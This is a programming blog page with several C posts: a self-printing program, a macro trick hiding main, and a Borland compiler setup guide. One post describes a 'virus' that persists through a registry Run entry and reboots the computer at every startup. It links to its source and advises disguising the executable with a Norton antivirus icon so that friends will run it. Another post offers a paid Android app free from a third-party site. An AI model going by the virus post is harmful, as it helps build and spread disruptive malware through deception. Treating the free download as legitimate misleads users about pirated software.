Showing posts with label c. Show all posts

C Program to Print its Own Source Code

C Program to Print its Own Source CodeEver wondered how to write a C program to print its own source code? Well, here is the source code of a C program that when executed will print its own source code. In other words, the output of this program is exactly same as its source code.



Here’s the program:

#include<stdio.h>
char *program=”#include<stdio.h>%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}
Saturday, 2 August 2014
Posted by Niraj lathiya

C Program Without a Main Function

C Program without a main function
Have you ever wondered how to write a C program without a main function? Can a C program execute with a main function? Is it possible to do that?




Well, the answer is YES! There can be a C program without a main function. Here is the source code of the program without a main function:


#include<stdio.h>
#include<conio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()
{
printf(” hello “);
getch();
return 0;
}

save this as test.c

The above program runs perfectly fine even without a main function. But how? What’s the logic behind it? How can we have a C program working without a main function. Read on to find out the answer…

Here, we are using a preprocessor directive called #define with arguments to give an impression that the program runs without the main function. However, in reality it runs with a hidden main function in it.

NOTE: A Preprocessor is program which processes the source code before compilation.
The ‘##‘ operator is called the token pasting or token merging operator. That is, we can merge two or more characters with it. Now, look at the 2nd line of program:

#define decode(s,t,u,m,p,e,d) m##s##u##t
What is the preprocessor doing here? The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m, s, u and t into msut). The logic is, when you pass (s,t,u,m,p,e,d) as argument it merges the 4th, 1st, 3rd and the 2nd characters (tokens).

Now, look at the third line of the program:

#define begin decode(a,n,i,m,a,t,e)
Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line, the argument must be expanded so that the 4th, 1st, 3rd and the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th, 1st, 3rd and the 2nd characters are ‘m’, ‘a’, ‘i’ and ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on to the compiler. That’s it.

The bottom line is that, there can never exist a C program without a main function. Here, we are just playing a gimmick that makes us believe that the program runs without the main, but there actually exists a hidden main function in the program. Here, we are using the proprocessor directive to intelligently replace the word “begin” by “main”. In simple words: int begin = int main.
Posted by Niraj lathiya
Tag : ,

A Virus Program to Restart the Computer with c

A Virus Program to Restart the ComputerIn this post, I will show you how to create a virus to restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.

For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

Compiling the source code into an executable module:

 

  1. Download the Source Code Here.
  2. UnRar the file and you should see the source code: Sysres.C
  3. For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing and removing the virus from your PC:

You can compile and test this virus on your own PC without any fear. To test, just double-click the sysres.exe file and restart the system manually. From now on, every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by following the below mentioned steps:
  1. Reboot your computer in the safe mode.
  2. Go to:
    %systemroot%\Windows\System
    (%systemroot% can be C,D,E or F)
  3. You will find a file by name sysres.exe, delete it.
  4. Type regedit in run. You will go to the registry editor. Here navigate to:
    HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
    There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Logic Behind the working of this virus program:


If I do not explain the logic(Algorithm) behind the working of the virus program, I think this post would become an incomplete one. So I’ll explain the logic in a simplified manner without getting much into the technical aspects of the program. If you have further doubts, you can pass your comments.
LOGIC:
  1. First the virus will find the Root partition (Partition on which Windows is installed).
  2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into %systemroot%\Windows\System.
  3. If not it will just place a copy of itself into %systemroot%\Windows\System and makes a registry entry to put this virus file into the Windows startup.
  4. Or else if the virus is already found in the %systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

 

After you compile, the sysres.exe file that you get will have a default icon. If you send this file to your friends they may not execute it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example, you can change the icon into Norton antivirus ICON itself so that the people seeing this file believes that it is Norton antivirus. Or you can change its ICON into the ICON of any popular or trusted programs so that people will definitely click on it.
Posted by Niraj lathiya

How to Compile C Programs

How to compile C programsIn many of my previous posts especially in the Programming section, I have used C as the programming language for writing the programs. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you.
Here is a step-by-step procedure to install Borland C++ compiler 5.5 on your PC and compile the C programs.

How to Install Borland C++ compiler?

Follow the below steps to install Borland C++ compiler 5.5 on your PC:
  1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link:
  2. After you download, run the file C++5.51.exe. The default installation path would be:
    C:\Borland\BCC55

How to configure Borland C++ compiler?

Here is a step-by-step instruction on how to configure the compiler:
  1. After you install Borland C++ compier, create two new Text Documents.

  2. Open the first New Text Document.txt file and add the following two lines into it :

    -I”c:\Borland\Bcc55\include”

    -L”c:\Borland\Bcc55\lib”

    Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.

  3.  Open the second New Text Document (2).txt file and add the following line into it:
    -L”c:\Borland\Bcc55\lib”
    Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.

  4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to Compile the C Source Code (.C files)?

Here is a detailed instruction on how to compile C source codes:
  1. You need to place the .C (example.c) file to be compiled in the following location:
  2. C:\Borland\BCC55\Bin
  3. Now go to the command prompt (Start->Run->type cmd->Enter)

  4. Make the following path as the present working directory (use the CD command):
  5. C:\Borland\BCC55\Bin
  6. To compile the file (example.c) use the following command:
     bcc32 example.c

  7. Now if there exists no error in the source code, you’ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).

  8. Now you have successfully compiled the source code into an executable file(.exe file).
NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).

Posted by Niraj lathiya

C4droid: Download C/C++ Compiler for Android Platform for Free

In this post i am giving you link to download C4droid, a free c/c++ compiler for android platform. On Google Play Store it is available for $2.99 but I have found it for free at http://appxg.com.

It is very easy to understand and use. By default you will be able to write and run c programs. But for c++ programs you need to download the required plugin from play store. At first when you will open the app it will extract and will ask you you to install the gcc plugin, so install it from google play store. Now download it, install it and share your queries and experience.

Also Read: GCC Compiler: Download Code::Blocks 12.11 a Free C/C++


C4droid: Download C/C++ Compiler for Android Platform for Free

C4droid: Download C/C++ Compiler for Android Platform for Free

Source: http://appxg.com/apps/2442.html

For Use of Blogger ( Niraj Lathiya ) Only : 





 
Friday, 14 February 2014
Posted by Niraj lathiya
Tag : ,

Popular Posts

Powered by Blogger.

- Copyright © Techno-World -Metrominimalist- Powered by Blogger - Designed by Johanes Djogan -